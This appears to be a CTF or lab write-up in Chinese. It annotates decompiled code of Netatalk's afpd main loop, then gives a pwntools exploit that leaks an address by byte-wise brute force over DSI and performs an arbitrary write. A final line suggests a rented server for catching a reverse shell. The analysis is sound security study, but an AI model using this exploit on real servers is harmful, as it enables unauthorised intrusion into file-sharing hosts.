   * 局部变量声明区 (均为反编译器自动命名)
   * ═══════════════════════════════════════ */
  __int64 v3;               // 临时变量, 用于传递信号处理标志
  __int64 v4;               // 临时变量 (socket初始化日志参数)
  int v5;                   // getrlimit64() 的返回值
  int *v6;                  // errno 指针 (临时)
  int *v7;                  // errno 指针 (长期持有, 主循环中使用)
  __int64 i;                // 主循环迭代变量, 指向事件循环结构
  int v9;                   // poll() 的返回值 (就绪fd数量)
  int v10;                  // 保存的 errno 值
  __int64 v11;              // poll fd 数组遍历索引
  __int64 v12;              // 事件循环结构指针 (内层循环)
  __int64 v13;              // DSI会话结构指针
```

```
  __int64 v14;                // 事件槽结构指针
  char *v15;                  // strerror() 返回的错误字符串
  const char *v16;            // 日志格式字符串
  char *v17;                  // 日志参数字符串
  __int64 v18;                // 日志行号
  __int64 v19;                // 服务器链表遍历指针
  __int64 v20;                // 临时 (socket handler日志参数)
  __int64 v21;                // server_child 结构指针 (临时)
  unsigned int v22;           // waitpid() 返回的子进程PID
  unsigned int v23;           // server_child_remove() 返回的fd
  const char *v24;            // 子进程退出日志格式字符串
  __int64 v25;                // 子进程退出日志参数 (pid)
  __int64 v26;                // 子进程退出日志行号
  char *v27;                  // strerror() 返回值 (poll错误)
  _DWORD *v29;                // 子进程数据结构指针
  int v30;                    // ipc_server_read() 返回值
  int v31;                    // IPC fd (日志参数)
  char v32;                   // asev_add_fd() 返回值
  __pid_t *v33;               // 子进程结构指针 (kill操作)
  __pid_t v34;                // 要被kill的子进程PID
  char *v35;                  // strerror() (DSI会话错误)
  char *v36;                  // strerror() (getrlimit错误)
  const char *v37;            // 错误日志字符串
  __int64 v38;                // 错误日志行号
  int *v39, *v44, *v46, *v48, *v50, *v52, *v54, *v56; // errno 指针 (各sigaction错误处理)
  char *v40, *v45, *v47, *v49, *v51, *v53, *v55, *v57; // strerror() 返回值 (各信号错误)
  const char *v41;            // 错误日志格式 (通用)
  char *v42;                  // 错误日志参数 (通用)
  __int64 v43;                // 错误日志行号 (通用)

  rlim64_t rlim_cur;          // 保存新建子进程的结构地址 (复用栈空间)
  __pid_t *v59;               // 子进程结构指针 (复用栈空间, 与rlim_cur同地址)
  struct rlimit64 rlimits;    // 文件描述符资源限制结构 (也复用为waitpid状态)
  sigset_t set;               // 信号集, 用于 pthread_sigmask 操作
  struct sigaction act;       // 信号处理动作结构
  unsigned __int64 v63;       // Stack canary (栈溢出保护)


  /* ═══════════════════════════════════════════
   * 一、栈保护 & 启动初始化
   * ═══════════════════════════════════════════ */

  // 读取 fs:0x28 处的 stack canary 值, 存入局部变量, 函数返回时校验
  v63 = __readfsqword(0x28u);

  // 解析命令行参数, 结果写入全局配置结构 unk_25C5C0
  afp_options_parse_cmdline(&unk_25C5C0, (unsigned int)argc, argv);

  // 如果没有传入 -F (前台运行) 标志, 则调用 daemonize() 转入后台
  // daemonize() 失败 (返回非0) 则跳转到 LABEL_96 → exit(3)
```

```
76  if ( (byte_25C5C8 & 1) == 0 && (unsigned int)daemonize(0, 0) )
77    goto LABEL_96;
78
79  // 设置故障处理（通常注册 SIGSEGV/SIGBUS 等崩溃信号的调试处理器）
80  fault_setup(0);
81
82  // 解析 afpd 配置文件（如 /etc/afp.conf）
83  // 失败则跳转 LABEL_44 → exit(2)
84  if ( (unsigned int)afp_config_parse(&unk_25C5C0, "afpd") )
85    goto LABEL_44;
86
87  // 设置 umask，并保存旧值到全局变量 dword_25C704，
88  // 用于后续 fork 子进程时恢复文件权限掩码
89  dword_25C704 = umask(mask);
90
91  // 分配子进程管理结构（用于追踪所有 AFP 客户端子进程）
92  // dword_25C5E0 为最大子进程数（来自配置）
93  qword_25C5B8 = server_child_alloc((unsigned int)dword_25C5E0);
94  if ( !qword_25C5B8 )
95  {
96    // 分配失败：若日志级别 > 1，打印错误后退出
97    if ( (unsigned int)dword_245298 > 1 )
98    {
99      v54 = __errno_location();      // 获取 errno 地址
100     v55 = strerror(*v54);          // 转换为错误字符串
101     v41 = "main: server_child alloc: %s";
102     v42 = v55;
103     v43 = 214;                     // 对应源码行号 214
104     goto LABEL_101;                // 记录日志后 exit(3)
105   }
106   goto LABEL_96;                   // 静默退出
107 }
108
109
110 /* ═══════════════════════════════════════════
111  * 二、信号处理初始化
112  *
113  * 设计思路：
114  *   - 使用 sa_mask 在各信号处理期间屏蔽其他信号，防止重入
115  *   - SA_RESTART(0x10000000) 让被信号中断的系统调用自动重启
116  * ═══════════════════════════════════════════ */
117
118 // 清空信号集，用于后续 pthread_sigmask 调用
119 sigemptyset(&set);
120 // SIG_BLOCK=2：暂时阻塞空集合（实质是初始化/同步操作）
121 pthread_sigmask(2, &set, 0);
122
123 // 将整个 sigaction 结构清零（含 sa_mask 的128字节）
124 memset(&act.sa_mask, 0, 0x90u);
125
126 /* ── 2.1 SIGURG (25)：忽略 TCP 紧急数据信号 ── */
127 // &dword_0 + 1 = 地址1 = SIG_IGN（忽略该信号）
```

```
  act.sa_handler = (__sighandler_t)(&dword_0 + 1);
  sigemptyset(&act.sa_mask);
  if ( sigaction(25, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 > 1 )
    {
      v52 = __errno_location();
      v53 = strerror(*v52);
      v41 = "main: sigaction: %s";
      v42 = v53;
      v43 = 228;
      goto LABEL_101;
    }
    goto LABEL_96;
  }

  /* ── 2.2 SIGPIPE (13): 忽略管道断开信号 ── */
  // 客户端断开连接时内核会发 SIGPIPE，必须忽略否则进程退出
  act.sa_handler = (__sighandler_t)(&dword_0 + 1);  // SIG_IGN
  sigemptyset(&act.sa_mask);
  if ( sigaction(13, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 > 1 )
    {
      v50 = __errno_location();
      v51 = strerror(*v50);
      v41 = "main: sigaction: %s";
      v42 = v51;
      v43 = 236;
      goto LABEL_101;
    }
    goto LABEL_96;
  }

  /* ── 2.3 SIGCHLD (17): 子进程退出通知 ── */
  // sub_28340 是真正的 SIGCHLD 处理函数（设置 dword_25C5B0 标志位）
  act.sa_handler = (__sighandler_t)sub_28340;
  sigemptyset(&act.sa_mask);
  // 处理 SIGCHLD 期间屏蔽以下信号，防止重入：
  sigaddset(&act.sa_mask, 14);  // SIGALRM
  sigaddset(&act.sa_mask, 1);   // SIGHUP
  sigaddset(&act.sa_mask, 15);  // SIGTERM
  sigaddset(&act.sa_mask, 10);  // SIGUSR1
  sigaddset(&act.sa_mask, 3);   // SIGQUIT
  act.sa_flags = 0x10000000;    // SA_RESTART: 系统调用被中断后自动重启
  if ( sigaction(17, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 ≤ 1 )
      goto LABEL_96;
    v39 = __errno_location();
    v40 = strerror(*v39);
    v41 = "main: sigaction: %s";
```

```
    v42 = v40;
    v43 = 250;
    goto LABEL_101;
  }

  /* ── 2.4 SIGUSR1 (10): 用户自定义信号1 (触发配置重载) ── */
  sigemptyset(&act.sa_mask);
  // 处理 SIGUSR1 期间屏蔽: SIGALRM SIGTERM SIGHUP SIGCHLD SIGQUIT
  sigaddset(&act.sa_mask, 14);
  sigaddset(&act.sa_mask, 15);
  sigaddset(&act.sa_mask, 1);
  sigaddset(&act.sa_mask, 17);
  sigaddset(&act.sa_mask, 3);
  act.sa_flags = 0x10000000;
  if ( sigaction(10, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 > 1 )
    {
      v48 = __errno_location();
      v49 = strerror(*v48);
      v41 = "main: sigaction: %s";
      v42 = v49;
      v43 = 262;
      goto LABEL_101;
    }
LABEL_96:
    exit(3);   // 致命错误: 退出码 3
  }

  /* ── 2.5 SIGHUP (1): 重新加载配置文件 ── */
  sigemptyset(&act.sa_mask);
  // 处理 SIGHUP 期间屏蔽: SIGALRM SIGTERM SIGUSR1 SIGCHLD SIGQUIT
  sigaddset(&act.sa_mask, 14);
  sigaddset(&act.sa_mask, 15);
  sigaddset(&act.sa_mask, 10);
  sigaddset(&act.sa_mask, 17);
  sigaddset(&act.sa_mask, 3);
  act.sa_flags = 0x10000000;
  if ( sigaction(1, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 > 1 )
    {
      v56 = __errno_location();
      v57 = strerror(*v56);
      v41 = "main: sigaction: %s";
      v42 = v57;
      v43 = 274;
      goto LABEL_101;
    }
    goto LABEL_96;
  }

```

```
  /* ── 2.6 SIGTERM (15): 优雅终止服务 ── */
  sigemptyset(&act.sa_mask);
  // 处理 SIGTERM 期间屏蔽: SIGALRM SIGHUP SIGUSR1 SIGCHLD SIGQUIT
  sigaddset(&act.sa_mask, 14);
  sigaddset(&act.sa_mask, 1);
  sigaddset(&act.sa_mask, 10);
  sigaddset(&act.sa_mask, 17);
  sigaddset(&act.sa_mask, 3);
  act.sa_flags = 0x10000000;
  if ( sigaction(15, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 > 1 )
    {
      v46 = __errno_location();
      v47 = strerror(*v46);
      v41 = "main: sigaction: %s";
      v42 = v47;
      v43 = 286;
LABEL_101:
      // 统一错误日志入口: 级别2(WARN), 设施3, 文件main.c, 行号v43
      make_log_entry(2, 3, "main.c", v43, v41, v42);
      goto LABEL_96;    // 记录日志后 exit(3)
    }
    goto LABEL_96;
  }

  /* ── 2.7 SIGQUIT (3): 立即退出 ── */
  sigemptyset(&act.sa_mask);
  // 处理 SIGQUIT 期间屏蔽: SIGALRM SIGHUP SIGUSR1 SIGCHLD SIGTERM
  sigaddset(&act.sa_mask, 14);
  sigaddset(&act.sa_mask, 1);
  sigaddset(&act.sa_mask, 10);
  sigaddset(&act.sa_mask, 17);
  sigaddset(&act.sa_mask, 15);
  act.sa_flags = 0x10000000;
  if ( sigaction(3, &act, 0) < 0 )
  {
    if ( (unsigned int)dword_245298 ≤ 1 )
      goto LABEL_96;
    v44 = __errno_location();
    v45 = strerror(*v44);
    v41 = "main: sigaction: %s";
    v42 = v45;
    v43 = 298;
    goto LABEL_101;
  }


  /* ═══════════════════════════════════════════
   * 三、服务初始化
   * ═══════════════════════════════════════════ */

```

```
  // 解除对 SIGALRM/SIGHUP/SIGUSR1/SIGCHLD 的临时屏蔽 (SIG_UNBLOCK=0)
  // 现在信号处理器已全部注册完毕，可以安全接收信号
  sigemptyset(&set);
  sigaddset(&set, 14);   // SIGALRM
  sigaddset(&set, 1);    // SIGHUP
  sigaddset(&set, 10);   // SIGUSR1
  sigaddset(&set, 17);   // SIGCHLD
  pthread_sigmask(0, &set, 0);  // SIG_UNBLOCK=0

  // 初始化服务器配置 (创建监听socket、绑定端口等)
  // 返回非0表示没有配置任何服务
  if ( (unsigned int)configinit(&unk_25C5C0) )
  {
    if ( (unsigned int)dword_245298 ≤ 1 )
      goto LABEL_44;
    v37 = "main: no servers configured";
    v38 = 327;
    goto LABEL_94;   // 记录日志后 exit(2)
  }

  // 重新阻塞上述信号 (SIG_BLOCK=1) ，保护后续初始化不被信号打断
  pthread_sigmask(1, &set, 0);  // SIG_BLOCK=1

  // 初始化 CNID (Catalog Node ID) 子系统
  // CNID 是 AFP 协议中用于持久标识文件/目录的唯一编号机制
  cnid_init();

  // 初始化异步事件 (socket) 处理器 (sub_28480 内部调用 asev_init 等)
  // 返回0表示失败
  if ( !(unsigned __int8)sub_28480() )
  {
    if ( (unsigned int)dword_245298 > 1 )
      make_log_entry(2, 3, "main.c", 337, "main: couldn't initialize socket
handler", v4);
    goto LABEL_44;  // exit(2)
  }

  /* ── 3.1 提升文件描述符上限 ── */
  // 读取当前进程的最大打开文件数限制
  v5 = getrlimit64(RLIMIT_NOFILE, &rlimits);
  v6 = __errno_location();
  v7 = v6;  // v7 长期持有 errno 指针，主循环中复用

  if ( !v5 )  // getrlimit 成功
  {
    if ( rlimits.rlim_cur > 0xFFFE )
      goto LABEL_16;  // 已经够大 (>65534) ，跳过调整

    // 将软限制和硬限制都提升到 65535 (0xFFFF)
    rlimits.rlim_cur = 0xFFFF;
    if ( rlimits.rlim_max ≤ 0xFFFE )
      rlimits.rlim_max = 0xFFFF;
```

```
    // 应用新限制；失败时仅记录警告，不退出
    if ( !setrlimit64(RLIMIT_NOFILE, &rlimits) || (unsigned int)dword_245298 ≤ 2
)
      goto LABEL_16;
    v15 = strerror(*v7);
    v16 = "setlimits: increasing limits failed: %s";
    v17 = v15;
    v18 = 182;
    goto LABEL_88;  // 记录 DEBUG 级别日志
  }

  // getrlimit 调用本身失败（非常罕见）
  if ( (unsigned int)dword_245298 > 2 )
  {
    v36 = strerror(*v6);
    v16 = "setlimits: reading current limits failed: %s";
    v17 = v36;
    v18 = 174;
LABEL_88:
    // 级别3(INFO)，记录资源限制操作的日志
    make_log_entry(3, 3, "main.c", v18, v16, v17);
  }


  /* ═══════════════════════════════════════════
   * 四、主事件循环
   *
   * 架构：基于 poll() 的 I/O 多路复用
   *   - 外层 for 循环：配置重载后重新进入
   *   - 中层 while(1)：处理信号驱动的配置重载（SIGHUP/SIGUSR1）
   *   - 内层 while(1)：处理 poll() 错误（errno==EINTR 时继续）
   *   - 事件分发：遍历所有就绪的 fd，区分新连接和IPC消息
   * ═══════════════════════════════════════════ */

LABEL_16:
  for ( i = qword_25C5A8; ; i = qword_25C5A8 )  // qword_25C5A8 = 事件循环结构指针
  {
    while ( 1 )  // 中层：处理配置重载标志
    {
      while ( 1 )  // 内层：poll 调用与信号检查
      {
LABEL_17:
        // 在 poll() 调用前先解除信号屏蔽（SIG_UNBLOCK），
        // 确保 poll 期间能接收 SIGCHLD 等信号
        pthread_sigmask(1, &set, 0);   // SIG_BLOCK — 注：此处屏蔽集合是
                                        // {SIGALRM,SIGHUP,SIGUSR1,SIGCHLD}

        // 阻塞等待任意 fd 就绪（timeout=-1 表示无限等待）
        // *(pollfd**)i   = pollfd 数组指针
        // *(int*)(i+20)  = pollfd 数组长度（fd 数量）
        v9 = poll(*(struct pollfd **)i, *(int *)(i + 20), -1);
```

```
386
387         // poll 返回后重新屏蔽信号，保护后续处理
388         pthread_sigmask(0, &set, 0);    // SIG_UNBLOCK
389
390         /* ── 4.1 SIGCHLD 处理：回收退出的子进程 ── */
391         v3 = (unsigned int)dword_25C5B0;
392         if ( dword_25C5B0 )  // SIGCHLD 处理器 (sub_28340) 设置了此标志
393         {
394           dword_25C5B0 = 0;  // 清除标志，防止重复处理
395
396           // 循环回收所有已退出的子进程 (WNOHANG=1，非阻塞)
397           while ( 1 )
398           {
399             // waitpid(-1, ..., WNOHANG)：等待任意子进程，不阻塞
400             // rlimits 在此处复用为 wstatus 存储区 (联合体复用栈空间)
401             v22 = waitpid(-1, (int *)&rlimits, 1);
402             if ( (int)v22 ≤ 0 )
403               goto LABEL_38;    // 没有更多已退出子进程，跳出
404
405             /* 分析子进程退出状态 (POSIX wstatus 解码)：
406              *   低7位 = 信号编号 (非0表示被信号杀死)
407              *   第8位 = core dump 标志
408              *   高8位 (byte1) = exit code */
409             if ( (rlimits.rlim_cur & 0x7F) ≠ 0 )
410             {
411               // 被信号杀死
412               if ( (char)((rlimits.rlim_cur & 0x7F) + 1) > 1 )
413               {
414                 // 信号编号 > 0：被特定信号杀死 (如 SIGKILL)
415                 if ( (unsigned int)dword_245298 ≤ 4 )
416                   goto LABEL_57;
417                 v24 = "child[%d]: killed by signal %d";
418                 v25 = v22;
419                 v26 = 154;
420                 goto LABEL_64;
421               }
422               // 信号编号 = 0x7F (停止信号，如 SIGSTOP) ? 异常情况
423               if ( (unsigned int)dword_245298 > 4 )
424               {
425                 v25 = v22;
426                 v24 = "child[%d]: died";
427                 v26 = 156;
428                 goto LABEL_64;
429               }
430             }
431             else
432             {
433               // 正常退出 (exit()调用)
434               if ( BYTE1(rlimits.rlim_cur) )
435               {
436                 // 退出码非0：异常退出
437                 if ( (unsigned int)dword_245298 ≤ 4 )
```

```
                  goto LABEL_57;
                v25 = v22;
                v24 = "child[%d]: exited %d";
                v26 = 149;
                goto LABEL_64;
              }
              // 退出码为0：正常完成
              if ( (unsigned int)dword_245298 > 4 )
              {
                v24 = "child[%d]: done";
                v25 = v22;
                v26 = 151;
LABEL_64:
                // 级别5(DEBUG)记录子进程退出信息
                make_log_entry(5, 3, "main.c", v26, v24, v25);
              }
            }
LABEL_57:
            // 从子进程管理表中移除该子进程，获取其 IPC fd
            v23 = server_child_remove(qword_25C5B8, v22);
            // 如果有有效的 IPC fd，从事件循环中删除
            if ( v23 ≠ -1 && !(unsigned __int8)asev_del_fd(qword_25C5A8, v23) && (unsigned int)dword_245298 > 1 )
              make_log_entry(2, 3, "main.c", 164, "child[%d]: asev_del_fd: %d", v22);
          }
        }

        v10 = *v7;  // 保存当前 errno (poll 可能修改了它)

        /* ── 4.2 SIGHUP/SIGUSR1 处理：重载配置 ── */
        if ( !dword_25C5B4 )
          break;  // 无重载标志，跳出内层循环进行正常事件处理

        // 有重载请求：先禁止新连接 (增加 nologin 计数器)
        v19 = qword_25C5D8;   // 服务器链表头指针 (DSI server列表)
        ++nologin;             // nologin > 0 时，新连接将被拒绝

        if ( qword_25C5D8 )
        {
          // 遍历所有服务器，从事件循环中移除监听 socket
          // offset 67352 处存储着监听 socket 的 fd
          while ( (unsigned __int8)asev_del_fd(qword_25C5A8, *(unsigned int *)(v19 + 67352)) )
          {
            v19 = *(_QWORD *)v19;  // 下一个服务器节点
            if ( !v19 )
              goto LABEL_45;       // 全部移除成功
          }
          // asev_del_fd 失败 (返回0)：记录错误并退出
          if ( (unsigned int)dword_245298 ≤ 1 )
            goto LABEL_44;
```

```
          v37 = "main: reset socket handlers";
          v38 = 369;
LABEL_94:
          // 记录错误日志
          make_log_entry(2, 3, "main.c", v38, v37, v3);
          goto LABEL_44;   // exit(2)
        }

LABEL_45:
        // 记录配置重载日志
        if ( (unsigned int)dword_245298 > 4 )
          make_log_entry(5, 3, "main.c", 373, "re-reading configuration file", v3);

        // 释放旧配置
        configfree(&unk_25C5C0, 0);
        afp_config_free(&unk_25C5C0);

        // 重新解析配置文件
        if ( (unsigned int)afp_config_parse(&unk_25C5C0, "afpd") )
          goto LABEL_44;   // 解析失败，退出

        // 重新初始化服务（新配置可能改变了监听端口/地址）
        if ( (unsigned int)configinit(&unk_25C5C0) )
        {
          if ( (unsigned int)dword_245298 > 1 )
          {
            v37 = "config re-read: no servers configured";
            v38 = 382;
            goto LABEL_94;
          }
LABEL_44:
          exit(2);   // 配置错误，退出码2
        }

        // 重新初始化 socket 事件处理器
        if ( !(unsigned __int8)sub_28480() )
        {
          if ( (unsigned int)dword_245298 > 1 )
            make_log_entry(2, 3, "main.c", 387, "main: couldn't initialize socket handler", v20);
          goto LABEL_44;
        }

        // 配置重载成功，恢复正常运行
        v21 = qword_25C5B8;
        nologin = 0;          // 允许新连接
        dword_25C5B4 = 0;     // 清除重载标志
        *v7 = v10;            // 恢复 errno
        i = qword_25C5A8;

        // 向所有现有子进程发送 SIGHUP，让它们也重载配置
```

```
537         if ( v21 )
538         {
539           server_child_kill(v21, 1);  // 1 = SIGHUP
540           i = qword_25C5A8;
541         }
542         // 内层 while(1) 将继续，回到 LABEL_17 重新 poll
543       }
544
545       /* ── 4.3 poll() 返回值处理 ── */
546       if ( !v9 )
547         goto LABEL_38;   // poll 超时（返回0），回到顶部继续等待
548
549       if ( v9 < 0 )
550         break;           // poll 出错（返回-1），跳出中层循环检查 errno
551
552       /* ── 4.4 遍历就绪的 fd，分发事件 ── */
553       i = qword_25C5A8;
554       v11 = 0;           // fd 数组索引
555       v12 = qword_25C5A8;
556
557       // *(int*)(qword_25C5A8 + 20) = 当前 fd 总数
558       if ( *(int *)(qword_25C5A8 + 20) > 0 )
559       {
560         while ( 1 )
561         {
562           // 检查 revents 字段（offset+6）是否有事件：
563           // 0x39 =
POLLIN(0x01)|POLLPRI(0x02)|POLLERR(0x08)|POLLHUP(0x10)|POLLRDNORM(0x40)
564           // 实际使用的位：0x01(POLLIN) | 0x08(POLLERR) | 0x10(POLLHUP) |
0x20(POLLRDBAND)
565           if ( (*(_BYTE *)(*(_QWORD *)v12 + 8 * v11 + 6) & 0x39) ≠ 0 )
566           {
567             // 获取该 fd 对应的用户数据结构（附加在 pollfd 后的元数据）
568             v14 = *(_QWORD *)(v12 + 8) + 16 * v11;
569
570             /* ── 4.4.1 类型0：子进程 IPC 消息 ── */
571             if ( !*(_DWORD *)v14 )
572             {
573               // v29 指向子进程描述符结构
574               v29 = *(_DWORD **)(v14 + 8);
575               if ( (unsigned int)dword_245298 > 5 )
576                 make_log_entry(6, 3, "main.c", 440, "main: IPC request from
child[%u]", *v29);
577
578               // 从子进程读取 IPC 消息（如用户认证结果、会话信息等）
579               v30 = ipc_server_read(qword_25C5B8, (unsigned int)v29[12]);  //
v29[12] = IPC fd
580               v12 = qword_25C5A8;
581
582               if ( v30 )  // IPC 读取失败（子进程异常断开）
583               {
584                 // 从事件循环删除该 IPC fd
```

```
585                 if ( !(unsigned __int8)asev_del_fd(qword_25C5A8, (unsigned int)v29[12])
586                   && (unsigned int)dword_245298 > 1 )
587                 {
588                   make_log_entry(2, 3, "main.c", 444, "child[%u]: no IPC fd", v31);
589                 }
590                 // 关闭 IPC fd，标记为无效
591                 close(v29[12]);
592                 v29[12] = -1;
593                 v12 = qword_25C5A8;
594               }
595               goto LABEL_26;
596             }
597
598             /* ── 4.4.2 类型1：新的 DSI 连接请求 ── */
599             if ( *(_DWORD *)v14 == 1 )
600             {
601               v13 = *(_QWORD *)(v14 + 8);  // DSI 结构指针
602               rlimits.rlim_cur = 0;         // 清零，用于接收新子进程信息
603
604               // 为新连接创建会话（内部会 fork() 子进程处理该客户端）
605               // dword_25C5E4 = 最大子进程数限制
606               if ( (unsigned int)dsi_getsession(v13, qword_25C5B8, (unsigned int)dword_25C5E4, &rlimits) )
607               {
608                 // fork 或会话建立失败
609                 if ( (unsigned int)dword_245298 > 1 )
610                 {
611                   v35 = strerror(*v7);
612                   make_log_entry(2, 3, "main.c", 467, "dsi_start: session error: %s", v35);
613                   v12 = qword_25C5A8;
614                   goto LABEL_26;
615                 }
616               }
617               else
618               {
619                 if ( !rlimits.rlim_cur )
620                 {
621                   /* ★ 这是 fork() 后的子进程执行路径 ★
622                    * 子进程不返回到主循环，而是：
623                    * 1. 释放父进程的配置资源（不再需要监听其他连接）
624                    * 2. 调用 afp_over_dsi() 进入 AFP 协议处理循环
625                    * 3. exit(0) 正常退出 */
626                   configfree(&unk_25C5C0, v13);  // 释放父进程配置（子进程中）
627                   afp_over_dsi(&unk_25C5C0);      // 处理单个客户端的 AFP 会话
628                   exit(0);
629                 }
630
631                 /* 父进程执行路径：rlimits.rlim_cur 指向新子进程描述符 */
632                 rlim_cur = rlimits.rlim_cur;
```

```c

                // 将子进程的 IPC fd 注册到事件循环中，以便接收其后续消息
                // offset+48 处存储子进程的 IPC socket fd
                v32 = asev_add_fd(qword_25C5A8, *(unsigned int *)(rlimits.rlim_cur + 48), 0, rlimits.rlim_cur);
                v33 = (__pid_t *)rlim_cur;

                if ( !v32 )  // 事件槽已满（超出 asev 容量上限）
                {
                  if ( (unsigned int)dword_245298 > 1 )
                  {
                    make_log_entry(2, 3, "main.c", 419, "out of asev slots");
                    v33 = (__pid_t *)rlim_cur;
                  }
                  // 无法监控该子进程：关闭 IPC fd 并强制 SIGKILL 子进程
                  v59 = v33;
                  close(v33[12]);          // 关闭 IPC fd
                  v34 = *v59;              // 获取子进程 PID（结构首字段）
                  v59[12] = -1;            // 标记 fd 为无效
                  kill(v34, 9);            // SIGKILL 强制终止子进程
                  v12 = qword_25C5A8;
                  goto LABEL_26;
                }
              }
            }
            else
            {
              /* ── 4.4.3 未知类型：记录调试日志并忽略 ── */
              if ( (unsigned int)dword_245298 ≤ 5 )
                goto LABEL_26;
              make_log_entry(6, 3, "main.c", 452, "main: IPC request for unknown type");
            }
            v12 = qword_25C5A8;
          }

LABEL_26:
          // 移动到下一个 fd
          ++v11;
          i = v12;
          // 检查是否已遍历所有 fd
          if ( *(_DWORD *)(v12 + 20) ≤ (int)v11 )
            goto LABEL_17;  // 所有 fd 处理完毕，重新 poll
        }
      }
    }

    /* ── 4.5 poll 错误处理 ── */
    // poll 返回 -1，检查是否因为信号中断（EINTR=4）
    if ( v10 ≠ 4 )
      break;   // 非 EINTR 错误：跳出外层循环，记录错误退出

```

```
683     // errno == EINTR (信号中断了 poll) : 正常现象, 继续主循环
684 LABEL_38:
685     ;  // 空语句, 继续 for 循环
686   }
687
688   /* ═══════════════════════════════════════════
689    * 五、异常退出处理
690    * ═══════════════════════════════════════════ */
691
692   // poll 遇到非 EINTR 的真实错误 (如 EBADF, ENOMEM 等)
693   if ( (unsigned int)dword_245298 > 1 )
694   {
695     v27 = strerror(v10);  // 将 errno 转换为可读字符串
696     // 级别2(WARN) 记录错误
697     make_log_entry(2, 3, "main.c", 408, "main: can't wait for input: %s", v27);
698   }
699
700   // 正常返回 (实际上主循环理论上不应退出, 到这里说明发生了严重错误)
701   return 0;
702 }
703
704 /*
705  * ═══════════════════════════════════════════════════
706  * 附: 关键全局变量说明
707  * ═══════════════════════════════════════════════════
708  *
709  * qword_25C5A8  — 异步事件 (asev) 主循环结构指针
710  *                 包含: pollfd数组指针(offset 0)、fd计数(offset 20)、
711  *                       用户数据数组指针(offset 8)
712  *
713  * qword_25C5B8  — server_child 结构指针 (子进程管理表)
714  *
715  * qword_25C5D8  — DSI 服务器链表头 (用于遍历所有监听端口)
716  *
717  * dword_25C5B0  — SIGCHLD 标志位 (子进程退出时由信号处理器置1)
718  *
719  * dword_25C5B4  — SIGHUP/SIGUSR1 标志位 (触发配置重载)
720  *
721  * dword_25C5E0  — 最大子进程数 (来自配置文件 maxconnections)
722  *
723  * dword_25C5E4  — 最大同时连接数 (来自配置)
724  *
725  * dword_245298  — 全局日志级别 (越大越详细)
726  *                 1=ERROR, 2=WARN, 3=INFO, 4=注意, 5=DEBUG, 6=TRACE
727  *
728  * nologin       — 非0时禁止新的 AFP 连接 (配置重载期间使用)
729  *
730  * mask          — umask 值 (来自配置或命令行)
731  *
732  * ═══════════════════════════════════════════════════
733  * 附: 子进程退出状态解码 (POSIX wstatus)
734  * ═══════════════════════════════════════════════════
```

```
 *
 *   wstatus & 0x7F == 0   → 正常退出，退出码 = (wstatus >> 8) & 0xFF
 *   wstatus & 0x7F ≠ 0   → 被信号终止，信号号 = wstatus & 0x7F
 *   wstatus & 0x80 ≠ 0   → 产生了 core dump
 */
```

给我们的数据就是一个afpd的一个核心部件

```
main()
 ├─ 1. 初始化        命令行解析 → daemon化 → 读配置 → 分配子进程表
 ├─ 2. 信号注册      7个信号，互相屏蔽，SA_RESTART
 ├─ 3. 服务启动      configinit → cnid_init → socket事件初始化 → 提升fd上限
 └─ 4. 主事件循环（poll驱动）
       ├─ SIGCHLD → waitpid 回收子进程
       ├─ SIGHUP/SIGUSR1 → 热重载配置文件
       └─ fd就绪分发
             ├─ 类型0：子进程 IPC 消息 → ipc_server_read()
             └─ 类型1：新客户端连接 → dsi_getsession() → fork
                    子进程：afp_over_dsi()  ← 处理单个AFP会话
                    父进程：注册子进程IPC fd到事件循环
```

我们使用的exp是下面这个

```python
from pwn import *
context(endian='little')

ip   = "127.0.0.1"
port = 5566

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
```

```python
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

input()
io = remote(ip,port)
aaw(io,leak_addr,b"xuanxuan")
```

最好使用linode的服务器来监听反弹shell